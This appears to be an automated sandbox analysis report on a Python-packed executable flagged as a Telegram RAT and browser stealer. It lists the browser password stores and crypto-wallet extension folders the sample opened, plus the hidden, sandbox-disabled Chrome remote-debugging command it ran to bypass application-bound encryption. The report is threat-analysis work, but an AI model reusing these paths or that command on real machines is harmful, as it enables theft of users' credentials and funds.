Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer\md.cp313-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer\md__mypyc.cp313-win_amd64.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922\setuptools\_vendor VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI29922 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0516~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\dxdiag.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6BAF0D010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF6BAF0D010

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6BAF25C00 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF6BAF25C00

Source: C:\Windows\System32\dxdiag.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OllyDbg.exe
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Wireshark.exe
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match	File source: 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2108, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\epapihdplajcdnnkdeiahlgigofloibg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ebfidpplhabeedpnhjnobghokpiioolj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmeobnfnfcmdkdcmlblgagmfpfboieaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cgeeodpfagjceefieflmdfphplkenlfk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\khpkpbbcccdmmclmpigdgddabeilkdpd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mgffkfbidihjpoaomajlbgchddlicgpn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mdjmfdffdcmnoblignmgpommbefadffd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhilaheimglignddkjgofkcbgekhenbh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9876 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox

Yara detected Telegram RAT

Source: Yara match	File source: 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2108, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 LSASS Driver	1 LSASS Driver	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	145 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	111 Process Injection	1 Timestomp	NTDS	451 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	23 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	4 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	23 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	13%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_ARC4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_Salsa20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_chacha20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_pkcs1_decode.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_aes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_aesni.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_arc2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_blowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_cast.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_cbc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_cfb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ctr.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_des.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_des3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ecb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_eksblowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ocb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Cipher\_raw_ofb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_BLAKE2b.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_BLAKE2s.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_MD2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_MD4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_MD5.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_RIPEMD160.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA1.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA224.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA256.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA384.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_SHA512.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_ghash_clmul.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_ghash_portable.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_keccak.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Hash\_poly1305.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Math\_modexp.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Protocol\_scrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_curve25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_curve448.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_ec_ws.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_ed25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\PublicKey\_ed448.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Util\_cpuid_c.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\Crypto\Util\_strxor.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\VCRUNTIME140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_cffi_backend.cp313-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_ctypes.pyd	0%	ReversingLabs
